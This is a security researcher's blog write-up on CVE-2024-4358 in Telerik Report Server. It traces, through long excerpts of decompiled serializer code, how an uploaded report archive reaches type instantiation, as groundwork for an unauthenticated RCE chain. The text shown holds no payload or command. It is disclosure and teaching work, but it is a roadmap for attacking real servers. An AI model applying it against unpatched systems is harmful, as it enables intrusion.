Molding lies into reality || Exploiting CVE-2024-4358
TLDR
Progress made a mistake and published an advisory for a deserialization bug with CVSS 9.9 even though it required authentication, shortly after the patch, I managed to find an authentication bypass but got stuck when trying to exploit the deserialization issue that was found by an anonymous researcher however with help of Soroush Dalili (@irsdl) we managed to complete the deserialization chain and achieve full unauthenticated RCE.
Before we begin
None of this would’ve been possible if it wasn’t because of Soroush Dalili (@irsdl), everything I know about .NET is because of him and him only, thank you for always teaching me Soroush, you are truly the most humble person I know. Soroush encouraged me so many times to write this blog post and its because of him that you are now reading this. It took me so many hours stepping through each and every corner of the serializer to understand, exploit and document its mechanics here, I hope someone can learn from the result.
Introduction (yet another TLDR)
April 25th, Telerik published an advisory stating that progress report server is affected by a remote code execution through deserialization that allows an “unauthenticated” attacker to achieve remote code execution, the CVSS for this RCE issue was wrongly marked as 9.9 on progress website.
Shortly after, the good folks at Zero Day Initiative , published the actual advisory details and as you can see, the CVSS has been marked as 8.8, which means a “low privilege” user is required to exploit this issue.
Advisory for the deserialization issue:
Molding lies into reality
After I noticed the mistake on their scoring, I thought, It would actually be very funny if I can manage to find a way to bypass the authentication and actually make the issue into a Critical CVSS 9.9, so that’s what I did!
Advisory for the authentication bypass issue:
Thought Process
the deserialization issue was discovered and reported by an anonymous researcher, but no PoC was published (until now) due to the complexity of the vulnerability, in this blog post I’ll detail the full chain pre-authenticated Remote Code Execution, first I’ll begin with explaining the entire internals of the Telerik Report Server Custom Serializer and how it’s possible to achieve arbitrary command execution by exploiting a very interesting flaw in the mechanics of the serializer, then I’ll continue to explain the authentication bypass that I’ve discovered that was overlooked by the initial researcher.
Deserialization took yet another victim 🥂 https://t.co/oocQO0l8RY
— Soroush Dalili (@irsdl) March 21, 2024
🚨🚨🚨 (CVE-2024-4358) I've exploited a chain of bugs allowing Authentication Bypass 🔥 and eventually Remote Code Execution🩸targeting the famous Telerik Report Server, The PoC and the Writeup are being dropped very soon 🪲https://t.co/E6VTmMGGmi pic.twitter.com/4QvRfEXs8l
— SinSinology (@SinSinology) May 31, 2024
Warning
I’ve taken many detours when explaining each and every corner of the vulnerable code, this takes you from absolute 0 to the cause of popping a shell against this target, so it gets inception level deep (not for me though) using a debugger is highly recommended.
The code contains many classes and methods with the same exact name, for example there are many classes named TypeResolver
but they belong to different namesapces and many methods named Deserialize
that belong to different classes, I’ve tried to establish when there is a difference, just focus when you are reading and you should be fine.
Lastly, My grammar level is garbage, so if you saw something like you’re/your/there/their/der don’t get surprised.
Advanced .NET Exploitation
if you had a hard time understanding this blog post but like to learn about .NET Exploitation, I have recently made my Advanced .NET Exploitation Training public, sign up and let me teach you everything you need about deserialization and how to pop shellz on .net targets.
Lets begin
According to their official website, Telerik Report Server is an End-to-End Report Management Solution without advertising the product in a blog that’s supposed to show how to gain RCE in the said product, its actually a powerful solution, as you can see in the following picture it allows making tables, charts, input boxes, etc and all of this are processed on the server side, what can go wrong the smart reader asked!
Since we are interested in exploiting the server report processing feature, we’ll begin right there. when we send our report to the server, in order for the server to start processing our malicious report, it makes a call to
Telerik.ReportServer.Engine.Common.ReportDocumentResolver.Resolve
Lets understand this method, it takes 3 arguments which the first two are important to our exploitation purpose, first is our sent report data as an array of bytes, second, is the extension, we are interested in hitting the UnpackageDocument
call so we need to satisfy the IsSupportedExtension
condition
private static IReportDocument Resolve(byte[] reportData, string extension, IProcessingContext context)
{
if (ReportPackager.IsSupportedExtension(extension))
{
return new ReportPackager().UnpackageDocument(new MemoryStream(reportData));
}
return ReportDocumentResolver.ResolveAsXmlReportSource(reportData, context);
}
Lets take a small detour and take a look at the IsSupportedExtension
which is part of the Telerik.Reporting.ReportPackager.IsSupportedExtension
the following is a summarized version of this method’s implementation
internal static bool IsSupportedExtension(string extension)
{
return ReportPackager.extensions.Contains(extension.ToLower());
}
internal const string DefinitionPath = "/definition.xml";
private static readonly string[] extensions = new string[] { ".trdp", ".trbp" };
As you can notice, the mechanics of this method is simple, if the extension
is either .trdp
or .trbp
the method returns true
allowing us to hit our desired branch which is UnpackageDocument
. Now lets step out and analyze the UnpackageDocument
The UnpackageDocument
or better known as Telerik.Reporting.ReportPackager.UnpackageDocument(Stream)
expects an argument of type Stream
and as you remember, our array of bytes were converted to the well known .NET MemoryStream
The eagle eye notices that the stream of memory just created is passed to ZipResourceHandler.FromStream
to create an object of type Telerik.Reporting.Utils.ZipResourceHandler
, as you can notice the ZipResourceHandler
class wasn’t instantiated which means the FromStream
has to be static method
public IReportDocument UnpackageDocument(Stream packageStream)
{
ZipResourceHandler zipResourceHandler = ZipResourceHandler.FromStream(packageStream);
IReportDocument reportDocument;
using (Stream stream = zipResourceHandler.Resources["/definition.xml"].CreateReadStream())
{
reportDocument = this.serializer.Deserialize(stream, zipResourceHandler);
}
return reportDocument;
}
Lets take another small detour and understand the mechanics of this class and its static method made by telerik.
Following is the summarized version of the Telerik.Reporting.Utils.ZipResourceHandler
At first sight, you’ll notice the simple skeleton of this class and once again the simple implementation of our suspect FromStream
, lets proceed and understand this method
namespace Telerik.Reporting.Utils
{
internal class ZipResourceHandler : IResourceHandler
{
public IConvertersContainer Converters { get; private set; }
public IDictionary<string, IStreamResource> Resources
{
get
{
return this.resources;
}
}
public INamingContext NamingContext { get; private set; }
public ZipResourceHandler(IConvertersContainer converters)
{
this.Converters = converters;
this.NamingContext = new NamingContext();
this.Converters.Initialize(this, this.NamingContext);
}
public static ZipResourceHandler FromStream(Stream stream)
{
stream.Position = 0L;
return new ZipResourceHandler(new ZipReadConverter()).LoadResources(stream);
}
The FromStream
first instantiates an instance of the ZipResourceHandler
and for its arguments it passes along an instance of ZipReadConverter
and when the ZipResourceHandler
is instantiated it’s LoadResources
method is called passing along our malicious report memory stream object.
Following is the implementation of the Telerik.Reporting.Utils.ZipResourceHandler.LoadResources(Stream)
method, once again, the implementation is simple, the memory stream is treated as a ZIP object and its items are iterated and added to an internal dictionary named Resources
each
private ZipResourceHandler LoadResources(Stream stream)
{
foreach (string text in ZipFile.Open(stream).GetPackageContent())
{
this.Resources.Add(text, new ZipResource(stream, text));
}
return this;
}
The said dictionary expects elements that have 2 members being a System.String
and Telerik.Reporting.Interfaces.IStreamResource
public IDictionary<string, IStreamResource> Resources
{
get
{
return this.resources;
}
}
Perfect, now that we have an understanding of how the internals of ZipResourceHandler.FromStream
works, lets go back to the UnpackageDocument
When the Resources
property of the zipResourceHandler
variable is populated, the next statement tries to retrieve the content of the definition.xml
from the root of our malicious ZIP File
public IReportDocument UnpackageDocument(Stream packageStream)
{
ZipResourceHandler zipResourceHandler = ZipResourceHandler.FromStream(packageStream);
IReportDocument reportDocument;
using (Stream stream = zipResourceHandler.Resources["/definition.xml"].CreateReadStream())
{
reportDocument = this.serializer.Deserialize(stream, zipResourceHandler);
}
return reportDocument;
}
Perfect, now that the content of this file is retrieved using CreateReadStream
, its content is passed to this.serializer.Deserialize
But wait! when did this.serializer
get set? good question! lets go back, again!
The this.serializer
is part of the Telerik.Reporting.ReportPackager.serializer
class
private IXmlSerializer serializer;
Before I tell you how it gets initialized, don’t let the IXmlSerializer
fool ya, that is not the .NET standard XmlSerializer, rather its actual type is Telerik.Reporting.ReportSerialization.IXmlSerializer
a simple interface made by Telerik
namespace Telerik.Reporting.ReportSerialization
{
internal interface IXmlSerializer
{
string Serialize(IReportDocument value, IResourceHandler resourceHandler);
IReportDocument Deserialize(Stream stream, IResourceHandler resourceHandler);
}
}
Okay, lets finally answer the question, how did serializer
get initialized? it was initialized at the begining! remember? when the Resolve
method was executed, a call to new ReportPackager()
was made.
private static IReportDocument Resolve(byte[] reportData, string extension, IProcessingContext context)
{
if (ReportPackager.IsSupportedExtension(extension))
{
return new ReportPackager().UnpackageDocument(new MemoryStream(reportData));
}
return ReportDocumentResolver.ResolveAsXmlReportSource(reportData, context);
}
following is the implementation of ReportPackager()
, it simply makes a call to another method with the same name but differnt argument which is of type IXmlSerializer
,
namespace Telerik.Reporting
{
public class ReportPackager
{
internal ReportPackager(IXmlSerializer serializer)
{
this.serializer = serializer;
}
public ReportPackager()
: this(new ReportXmlSerializer())
{
}
and the ReportXmlSerializer()
is the source of all evil, lets have a look at its constructor before we take a look at its vulnerable Deserialize()
method
namespace Telerik.Reporting.XmlSerialization
{
public class ReportXmlSerializer : IXmlSerializer
{
public ReportXmlSerializer()
{
this.serializer = new XmlSerializer(new SerializationSettings
{
TypeResolver = TypeResolverFactory.CreateTypeResolver()
});
}
IReportDocument IXmlSerializer.Deserialize(Stream stream, IResourceHandler resourceHandler)
{
return (IReportDocument)this.serializer.Deserialize(stream, resourceHandler);
}
The trained eye notices that the constructor first instantiates an instance of the XmlSerializer
and for its argument it instantizes a TypeResolver
this is where shit hits the fan basically. once again, don’t let the XmlSerializer
fool you, that is not the standard Microsoft .NET XmlSerializer
rather its made by telerik and its full name is Telerik.Reporting.XmlSerialization.XmlSerializer
lets analyze its internals, before we do, once again I’ll isolate the call to this class
public ReportXmlSerializer()
{
this.serializer = new XmlSerializer(new SerializationSettings
{
TypeResolver = TypeResolverFactory.CreateTypeResolver()
});
}
as you can see when the class is about to be instantiated, an argument of type SerializationSettings
is passed to it, we’ll look at this later, first lets open up XmlSerializer
The eagle eye notices the constructor for this class immediately makes a call to base (settings)
which means it this constructor actually calls the constructor of its parent class, in this case, the XmlSerializerBase
using System;
using Telerik.Reporting.Serialization;
namespace Telerik.Reporting.XmlSerialization
{
internal class XmlSerializer : XmlSerializerBase
{
public XmlSerializer(SerializationSettings settings)
: base(settings)
{
}
protected override ObjectWriter CreateObjectXmlWriter(IWriter writer)
{
return new ObjectXmlWriter(writer, this.settings);
}
}
}
lets breakdown the XmlSerializerBase
class, this is the full source code of this class, but we’ll be isolating the areas that are interesting to us
using System;
using System.IO;
using System.Text;
using System.Xml;
using Telerik.Reporting.Serialization;
using Telerik.Reporting.Utils;
namespace Telerik.Reporting.XmlSerialization
{
internal class XmlSerializerBase
{
public XmlSerializerBase()
: this(XmlSerializerBase.serializationSettings)
{
}
public XmlSerializerBase(SerializationSettings settings)
{
this.settings = settings;
}
public string Serialize(object value, string defaultNamespace, IResourceHandler resourceHandler)
{
StringBuilder stringBuilder = new StringBuilder();
string text;
using (Utf8StringWriter utf8StringWriter = new Utf8StringWriter(stringBuilder))
{
this.Serialize(utf8StringWriter, value, defaultNamespace, resourceHandler);
text = stringBuilder.ToString();
}
return text;
}
public void Serialize(Stream stream, object value, string defaultNamespace, IResourceHandler resourceHandler)
{
using (XmlWriter xmlWriter = XmlWriter.Create(stream, XmlSerializerBase.xmlWriterSettings))
{
this.Serialize(xmlWriter, value, defaultNamespace, resourceHandler);
}
}
public void Serialize(string fileName, object value, string defaultNamespace, IResourceHandler resourceHandler)
{
using (XmlWriter xmlWriter = XmlWriter.Create(fileName, XmlSerializerBase.xmlWriterSettings))
{
this.Serialize(xmlWriter, value, defaultNamespace, resourceHandler);
}
}
public void Serialize(TextWriter writer, object value, string defaultNamespace, IResourceHandler resourceHandler)
{
using (XmlWriter xmlWriter = XmlWriter.Create(writer, XmlSerializerBase.xmlWriterSettings))
{
this.Serialize(xmlWriter, value, defaultNamespace, resourceHandler);
}
}
public void Serialize(XmlWriter writer, object value, string defaultNamespace, IResourceHandler resourceHandler)
{
this.CreateObjectXmlWriter(new XmlWriterWrapper(writer)).Serialize(value, defaultNamespace, resourceHandler);
}
public object Deserialize(Stream stream, IResourceHandler resourceHandler)
{
object obj;
using (XmlReader xmlReader = XmlReader.Create(stream, XmlSerializerBase.xmlReaderSettings))
{
obj = this.Deserialize(xmlReader, resourceHandler);
}
return obj;
}
public object Deserialize(string fileName, IResourceHandler resourceHandler)
{
object obj;
using (XmlReader xmlReader = XmlReader.Create(fileName, XmlSerializerBase.xmlReaderSettings))
{
obj = this.Deserialize(xmlReader, resourceHandler);
}
return obj;
}
public object Deserialize(TextReader reader, IResourceHandler resourceHandler)
{
object obj;
using (XmlReader xmlReader = XmlReader.Create(reader, XmlSerializerBase.xmlReaderSettings))
{
obj = this.Deserialize(xmlReader, resourceHandler);
}
return obj;
}
public object Deserialize(XmlReader reader, IResourceHandler resourceHandler)
{
return this.CreateObjectXmlReader(new XmlReaderWrapper(reader)).Deserialize(resourceHandler);
}
protected virtual ObjectReader CreateObjectXmlReader(IReader reader)
{
return new ObjectXmlReader(reader, this.settings);
}
protected virtual ObjectWriter CreateObjectXmlWriter(IWriter writer)
{
return new ObjectWriter(writer, this.settings);
}
private static readonly SerializationSettings serializationSettings = new SerializationSettings
{
TypeResolver = null
};
private static readonly XmlWriterSettings xmlWriterSettings = new XmlWriterSettings
{
Indent = true,
Encoding = Encoding.UTF8,
NewLineHandling = NewLineHandling.Entitize
};
private static readonly XmlReaderSettings xmlReaderSettings = new XmlReaderSettings
{
CheckCharacters = false,
IgnoreComments = true,
IgnoreProcessingInstructions = true,
IgnoreWhitespace = true,
XmlResolver = null
};
protected readonly SerializationSettings settings;
}
}
here is the isolated version, I’ve got rid of the Serialize
methods and just left the important parts AKA 80% of it
namespace Telerik.Reporting.XmlSerialization
{
internal class XmlSerializerBase
{
public XmlSerializerBase()
: this(XmlSerializerBase.serializationSettings)
{
}
public XmlSerializerBase(SerializationSettings settings)
{
this.settings = settings;
}
public object Deserialize(Stream stream, IResourceHandler resourceHandler)
{
object obj;
using (XmlReader xmlReader = XmlReader.Create(stream, XmlSerializerBase.xmlReaderSettings))
{
obj = this.Deserialize(xmlReader, resourceHandler);
}
return obj;
}
public object Deserialize(string fileName, IResourceHandler resourceHandler)
{
object obj;
using (XmlReader xmlReader = XmlReader.Create(fileName, XmlSerializerBase.xmlReaderSettings))
{
obj = this.Deserialize(xmlReader, resourceHandler);
}
return obj;
}
public object Deserialize(TextReader reader, IResourceHandler resourceHandler)
{
object obj;
using (XmlReader xmlReader = XmlReader.Create(reader, XmlSerializerBase.xmlReaderSettings))
{
obj = this.Deserialize(xmlReader, resourceHandler);
}
return obj;
}
public object Deserialize(XmlReader reader, IResourceHandler resourceHandler)
{
return this.CreateObjectXmlReader(new XmlReaderWrapper(reader)).Deserialize(resourceHandler);
}
protected virtual ObjectReader CreateObjectXmlReader(IReader reader)
{
return new ObjectXmlReader(reader, this.settings);
}
protected virtual ObjectWriter CreateObjectXmlWriter(IWriter writer)
{
return new ObjectWriter(writer, this.settings);
}
private static readonly SerializationSettings serializationSettings = new SerializationSettings
{
TypeResolver = null
};
private static readonly XmlWriterSettings xmlWriterSettings = new XmlWriterSettings
{
Indent = true,
Encoding = Encoding.UTF8,
NewLineHandling = NewLineHandling.Entitize
};
private static readonly XmlReaderSettings xmlReaderSettings = new XmlReaderSettings
{
CheckCharacters = false,
IgnoreComments = true,
IgnoreProcessingInstructions = true,
IgnoreWhitespace = true,
XmlResolver = null
};
protected readonly SerializationSettings settings;
}
}
First, the XmlSerializerBase(SerializationSettings settings)
will simply populates the crucial this.settings
variable, lets find out what this variable is
namespace Telerik.Reporting.XmlSerialization
{
internal class XmlSerializerBase
{
public XmlSerializerBase()
: this(XmlSerializerBase.serializationSettings)
{
}
public XmlSerializerBase(SerializationSettings settings)
{
this.settings = settings;
}
the this.settings
also known as Telerik.Reporting.XmlSerialization.XmlSerializerBase.settings
holds very crucial information whenever the Telerik Serializer/Deserializer is used
protected readonly SerializationSettings settings;
but, what does it hold exactly? lets analyse its definition.
trained eye notices that the TypeResolver
property is here, if you remember, this propery was being set during the instantiation of the custom XmlSerializer
class
namespace Telerik.Reporting.Serialization
{
internal class SerializationSettings
{
public ITypeResolver TypeResolver { get; set; }
public bool IncludeDesignProperties { get; set; }
public SerializationSettings()
{
this.IncludeDesignProperties = false;
}
public readonly string NullString = "null";
}
}
to recap, the XmlSerializer
class gets instantiated which is a child class of XmlSerializerBase
and this parent class has a crucial property named settings
that is of type SerializationSettings
which has an important property named TypeResolver
namespace Telerik.Reporting.XmlSerialization
{
public class ReportXmlSerializer : IXmlSerializer
{
public ReportXmlSerializer()
{
this.serializer = new XmlSerializer(new SerializationSettings
{
TypeResolver = TypeResolverFactory.CreateTypeResolver()
});
}
}
now its time to analyze 2 important things:
- what is
TypeResolverFactory.CreateTypeResolver()
? - how does the
Deserialize
work?
namespace Telerik.Reporting.XmlSerialization
{
public class ReportXmlSerializer : IXmlSerializer
{
public ReportXmlSerializer()
{
this.serializer = new XmlSerializer(new SerializationSettings
{
TypeResolver = TypeResolverFactory.CreateTypeResolver()
});
}
IReportDocument IXmlSerializer.Deserialize(Stream stream, IResourceHandler resourceHandler)
{
return (IReportDocument)this.serializer.Deserialize(stream, resourceHandler);
}
}
lets look at CreateTypeResolver
AKA Telerik.Reporting.ReportSerialization.TypeResolverFactory.CreateTypeResolver()
this class normally looks nested
using System;
using Telerik.Reporting.Serialization;
namespace Telerik.Reporting.ReportSerialization
{
internal class TypeResolverFactory
{
internal static ITypeResolver CreateTypeResolver()
{
return TypeResolvers.V1(TypeResolvers.V2(TypeResolvers.V3(TypeResolvers.V3_1(TypeResolvers.V3_2(TypeResolvers.V3_3(TypeResolvers.V3_4(TypeResolvers.V3_5(TypeResolvers.V3_6(TypeResolvers.V3_7(TypeResolvers.V3_8(TypeResolvers.V3_9(TypeResolvers.V4_0(TypeResolvers.V4_1(TypeResolvers.V4_2(TypeResolvers.v2017_3_0(TypeResolvers.v2018_2_0(TypeResolvers.v2018_3_0(TypeResolvers.v2019_1_0(TypeResolvers.v2019_2_0(TypeResolvers.v2020_1_0(TypeResolvers.v2020_2_0(TypeResolvers.v2021_1_0(TypeResolvers.v2021_2_0(TypeResolvers.v2022_3_1(TypeResolvers.Current(TypeResolvers.Unknown()))))))))))))))))))))))))));
}
}
}
for the purpose of this blog post, I made it more readable, as you can notice, this is building a TypeResolver
chain, a collection of different supported types that were introduced from the first versions of Telerik Report Server
namespace Telerik.Reporting.ReportSerialization
{
internal class TypeResolverFactory
{
internal static ITypeResolver CreateTypeResolver()
{
var resolverUnknown = TypeResolvers.Unknown();
var resolverCurrent = TypeResolvers.Current(resolverUnknown);
var resolver2022_3_1 = TypeResolvers.v2022_3_1(resolverCurrent);
var resolver2021_2_0 = TypeResolvers.v2021_2_0(resolver2022_3_1);
var resolver2021_1_0 = TypeResolvers.v2021_1_0(resolver2021_2_0);
var resolver2020_2_0 = TypeResolvers.v2020_2_0(resolver2021_1_0);
var resolver2020_1_0 = TypeResolvers.v2020_1_0(resolver2020_2_0);
var resolver2019_2_0 = TypeResolvers.v2019_2_0(resolver2020_1_0);
var resolver2019_1_0 = TypeResolvers.v2019_1_0(resolver2019_2_0);
var resolver2018_3_0 = TypeResolvers.v2018_3_0(resolver2019_1_0);
var resolver2018_2_0 = TypeResolvers.v2018_2_0(resolver2018_3_0);
var resolver2017_3_0 = TypeResolvers.v2017_3_0(resolver2018_2_0);
var resolverV4_2 = TypeResolvers.V4_2(resolver2017_3_0);
var resolverV4_1 = TypeResolvers.V4_1(resolverV4_2);
var resolverV4_0 = TypeResolvers.V4_0(resolverV4_1);
var resolverV3_9 = TypeResolvers.V3_9(resolverV4_0);
var resolverV3_8 = TypeResolvers.V3_8(resolverV3_9);
var resolverV3_7 = TypeResolvers.V3_7(resolverV3_8);
var resolverV3_6 = TypeResolvers.V3_6(resolverV3_7);
var resolverV3_5 = TypeResolvers.V3_5(resolverV3_6);
var resolverV3_4 = TypeResolvers.V3_4(resolverV3_5);
var resolverV3_3 = TypeResolvers.V3_3(resolverV3_4);
var resolverV3_2 = TypeResolvers.V3_2(resolverV3_3);
var resolverV3_1 = TypeResolvers.V3_1(resolverV3_2);
var resolverV3 = TypeResolvers.V3(resolverV3_1);
var resolverV2 = TypeResolvers.V2(resolverV3);
var resolverV1 = TypeResolvers.V1(resolverV2);
return resolverV1;
}
}
}
To fully understand what I mean, lets open up one of these TypeResolvers
, as you can notice, these types are all introduced so a user of Telerik Report Server can do operations such as making shapes, charts, interactive input boxes, colors, etc
this is how this monster look s like
so when each and every one of these types are registered, a user can make their report, as you can see there all of types, and when there are types, there is a chance of insecure deserialization.
so far, we know we are dealing with a custom deserializer that supports many types to allow a user to make a report hence the name telerik report server
now lets analyse the Deserialize
method which if you remember was part of the Telerik.Reporting.XmlSerialization.XmlSerializerBase
class, but before we do, keep this in mind, there are 4 method named Deserialize
and 3 of these are basically wrappers which eventually call the 4th one, you can recognize the 4th one which is the one at the end , also its the one that makes the call to CreateObjectXmlReader
method. now why so many Deserialize
function you might ask, well because they wanted to have their options on how to call this method:
- deserialize by Stream
- deserialize by file path
- deserialize by TextReader
- deserialize by XmlReader
public object Deserialize(Stream stream, IResourceHandler resourceHandler)
{
object obj;
using (XmlReader xmlReader = XmlReader.Create(stream, XmlSerializerBase.xmlReaderSettings))
{
obj = this.Deserialize(xmlReader, resourceHandler);
}
return obj;
}
public object Deserialize(string fileName, IResourceHandler resourceHandler)
{
object obj;
using (XmlReader xmlReader = XmlReader.Create(fileName, XmlSerializerBase.xmlReaderSettings))
{
obj = this.Deserialize(xmlReader, resourceHandler);
}
return obj;
}
public object Deserialize(TextReader reader, IResourceHandler resourceHandler)
{
object obj;
using (XmlReader xmlReader = XmlReader.Create(reader, XmlSerializerBase.xmlReaderSettings))
{
obj = this.Deserialize(xmlReader, resourceHandler);
}
return obj;
}
public object Deserialize(XmlReader reader, IResourceHandler resourceHandler)
{
return this.CreateObjectXmlReader(new XmlReaderWrapper(reader)).Deserialize(resourceHandler);
}
Following is the Deserialize
method which we are interested in, as you can see, it first calls the CreateObjectXmlReader
by passing our report (as a XmlReader object) to it and then calling .Deserialize()
on its return value, please note, the following Deserialize
method invoked that has a argument of resourceHandler
should not be confused with so many other Deserialize
methods which we analyzed so far, you’ll see why in just a moment
public object Deserialize(XmlReader reader, IResourceHandler resourceHandler)
{
return this.CreateObjectXmlReader(new XmlReaderWrapper(reader)).Deserialize(resourceHandler);
}
Lets see what does CreateObjectXmlReader
do, simply, it instantiates an instnace of ObjectXmlReader
AKA Telerik.Reporting.XmlSerialization.ObjectXmlReader
by passing the this.settings
variable which if you remember contained the TypeResolver information.
protected virtual ObjectReader CreateObjectXmlReader(IReader reader)
{
return new ObjectXmlReader(reader, this.settings);
}
lets look at the definition of ObjectXmlReader
, the consturctor calls the constructor of the parent class
namespace Telerik.Reporting.XmlSerialization
{
internal class ObjectXmlReader : ObjectReader
{
public ObjectXmlReader(IReader xmlReader, SerializationSettings settings)
: base(xmlReader, settings)
{
}
protected override bool ShouldReadElement(object obj, IReader reader)
{
IXmlElementReader xmlElementReader = obj as IXmlElementReader;
if (xmlElementReader != null)
{
XmlReaderWrapper xmlReaderWrapper = reader as XmlReaderWrapper;
if (xmlReaderWrapper == null || xmlElementReader.ReadElement(xmlReaderWrapper.Reader))
{
return false;
}
}
return true;
}
}
}
lets take a look at the parent class which is Telerik.Reporting.Serialization.ObjectReader
, we are mainly interested in the Deserialize
method inside this class, following is the complete skeleton of this class and its methods, we’ll breakdown each and every important bit of it, have a look and follow along.
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Linq;
using System.Reflection;
using Telerik.Reporting.Xml;
namespace Telerik.Reporting.Serialization
{
internal class ObjectReader : ObjectReaderWriterBase
{
public ObjectReader(IReader xmlReader, SerializationSettings settings)
: base(settings)
{
this.reader = xmlReader;
}
public object Deserialize(IResourceHandler handler)
{
base.ResourceHandler = handler;
this.reader.Init();
string defaultNamespace = this.GetDefaultNamespace();
this.typeResolver = base.GetTypeResolver(defaultNamespace);
ObjectReader.ValidateTypeResolver(this.typeResolver, defaultNamespace);
return this.ReadXmlElement(this.reader.Type);
}
private static void ValidateTypeResolver(ITypeResolver typeResolver, string defaultNamespace)
{
if (typeResolver == null)
{
throw new UnsupportedVersionException(defaultNamespace);
}
}
private string GetDefaultNamespace()
{
return this.reader.LookupNamespace("");
}
private object CreateInstance(Type type)
{
string text = null;
if (this.reader.NodeType == NodeType.Element)
{
text = this.reader.GetAttribute("Name");
}
return this.CreateInstance(type, text);
}
protected virtual object CreateInstance(Type type, string name)
{
object obj;
try
{
obj = Activator.CreateInstance(type, this.GetCtorParams(type));
}
catch (Exception ex)
{
throw new MissingMethodException(string.Format("Type: {0}", type), ex);
}
return obj;
}
private object[] GetCtorParams(Type type)
{
try
{
if (type.GetConstructors().Any(delegate(ConstructorInfo c)
{
ParameterInfo[] parameters = c.GetParameters();
return parameters.Length == 1 && parameters[0].ParameterType == typeof(IConvertersContainer);
}))
{
return new object[] { base.ResourceHandler.Converters };
}
}
catch (Exception ex)
{
string text = "Error while resolving the Serializable ctors: ";
Exception ex2 = ex;
Trace.WriteLine(text + ((ex2 != null) ? ex2.ToString() : null));
}
return new object[0];
}
private object ReadObject(Type type)
{
TypeMapping typeMapping = TypeMapper.GetTypeMapping(type);
this.OnDeserializing(type);
object obj;
if (typeMapping != TypeMapping.Primitive)
{
if (typeMapping == TypeMapping.Collection)
{
obj = this.CreateInstance(type);
this.ReadCollection(obj);
}
else
{
obj = this.CreateInstance(type);
bool flag = obj is INamedObject;
if (flag)
{
base.ResourceHandler.NamingContext.StartComponent((INamedObject)obj);
}
this.ReadProperties(obj);
if (flag)
{
base.ResourceHandler.NamingContext.EndComponent();
}
}
}
else
{
obj = this.ReadPrimitive(type);
}
object deserializedObject = this.GetDeserializedObject(obj);
this.OnDeserialized(deserializedObject);
return deserializedObject;
}
protected virtual void OnDeserializing(Type type)
{
}
protected virtual void OnDeserialized(object instance)
{
}
private Type ResolveType(string ns, string name)
{
Type type;
if (this.typeResolver.ResolveType(ns, name, out type))
{
return type;
}
return null;
}
private object ReadValue(Type type, string text)
{
if (typeof(IConvertible).IsAssignableFrom(type))
{
return this.ReadPrimitive(type);
}
if (typeof(object) == type && this.reader.NodeType == NodeType.Text)
{
return text;
}
return this.ReadXmlElement(text);
}
private object ConvertFromString(TypeConverter converter, ITypeDescriptorContext context, string text)
{
return converter.ConvertFrom(context, base.Culture, text);
}
private void ReadValue(object obj, PropertyDescriptor prop)
{
base.ResourceHandler.NamingContext.StartProperty(prop.Name);
object obj2 = null;
string nodeValue = this.GetNodeValue();
if (nodeValue == base.Settings.NullString)
{
obj2 = null;
}
else
{
TypeConverter typeConverter = base.GetTypeConverter(prop);
if (typeConverter != null)
{
obj2 = this.ConvertFromString(typeConverter, this.CreateTypeDescriptorContext(obj, prop), nodeValue);
}
else
{
try
{
if (prop.PropertyType == typeof(Type))
{
obj2 = Type.GetType(nodeValue);
}
else
{
obj2 = Convert.ChangeType(nodeValue, prop.PropertyType, base.Culture);
}
}
catch (Exception ex)
{
throw new SerializerExcepion(string.Format("The XML serializer cannot resolve type with name: {0}", prop.PropertyType), ex);
}
}
}
prop.SetValue(obj, obj2);
base.ResourceHandler.NamingContext.EndProperty();
}
private void ReadAttributes(object obj, PropertyDescriptorCollection props)
{
if (this.reader.MoveToFirstAttribute())
{
do
{
string text = ObjectReader.ResolveElementName(this.GetPropertyName(this.reader.Name));
PropertyDescriptor propertyDescriptor = props[text];
if (propertyDescriptor != null)
{
this.ReadValue(obj, propertyDescriptor);
}
else if (this.reader.LookupNamespace(text) == null)
{
string.Format("Attribute {0} not found as a property of the object", this.reader.Name);
}
}
while (this.reader.MoveToNextAttribute());
}
this.reader.MoveToElement();
}
private void ReadProperties(object obj)
{
this.reader.MoveToContent();
PropertyDescriptorCollection properties = TypeDescriptor.GetProperties(obj);
this.ReadAttributes(obj, properties);
if (!this.reader.IsEmptyElement)
{
this.reader.ReadStartElement();
while (this.reader.NodeType != NodeType.EndElement && this.reader.NodeType != NodeType.None)
{
if (this.ShouldReadElement(obj, this.reader))
{
if (this.reader.NodeType == NodeType.Element)
{
string propertyName = this.GetPropertyName(this.reader.Name);
PropertyDescriptor propertyDescriptor = properties[propertyName];
if (propertyDescriptor != null)
{
Type propertyType = propertyDescriptor.PropertyType;
if (propertyDescriptor.IsReadOnly)
{
object value = propertyDescriptor.GetValue(obj);
if (value != null && TypeHelper.IsCollection(value.GetType()))
{
this.ReadCollection(value);
}
else
{
if (value is IResourceSerializable)
{
((IResourceSerializable)value).Initialize(base.ResourceHandler);
}
this.reader.MoveToObject();
this.ReadProperties(value);
}
}
else
{
this.reader.MoveToObject();
this.ReadProperty(obj, propertyDescriptor, propertyType);
}
}
else
{
this.reader.Skip();
}
}
else
{
this.reader.Read();
}
}
}
this.reader.ReadEndObject();
return;
}
this.reader.Skip();
}
protected virtual bool ShouldReadElement(object obj, IReader reader)
{
return true;
}
private object GetDeserializedObject(object value)
{
ISerializationSurrogate surrogate = base.GetSurrogate(value);
if (surrogate != null)
{
return surrogate.GetDeserializedObject(value, base.ResourceHandler);
}
return value;
}
private void ReadProperty(object obj, PropertyDescriptor prop, Type propType)
{
this.SkipWhiteSpace();
if (this.reader.NodeType == NodeType.Text)
{
prop.SetValue(obj, this.reader.ReadContentAsString());
return;
}
if (TypeHelper.IsPrimitiveType(propType))
{
prop.SetValue(obj, this.ReadPrimitive(propType));
return;
}
object obj2;
if (TypeHelper.IsCollection(propType))
{
obj2 = this.ReadObject(propType);
}
else
{
string type = this.reader.Type;
if (!this.reader.IsEmptyElement)
{
this.reader.ReadStartElement();
}
string text;
if (this.reader.NodeType == NodeType.Text && this.reader.Value.Length > 0)
{
text = this.reader.Value;
}
else
{
text = this.reader.Type;
}
if (text.Equals(base.Settings.NullString))
{
obj2 = null;
}
else if (ObjectReaderWriterBase.IsValidConverter(prop.Converter))
{
obj2 = this.ConvertFromString(prop.Converter, this.CreateTypeDescriptorContext(obj, prop), text);
}
else
{
obj2 = this.ReadValue(propType, text);
}
if (this.reader.NodeType == NodeType.Text)
{
this.reader.Read();
}
if (string.Equals(this.reader.Type, type, StringComparison.Ordinal) && this.reader.NodeType == NodeType.EndElement)
{
this.reader.ReadEndXmlElement();
}
}
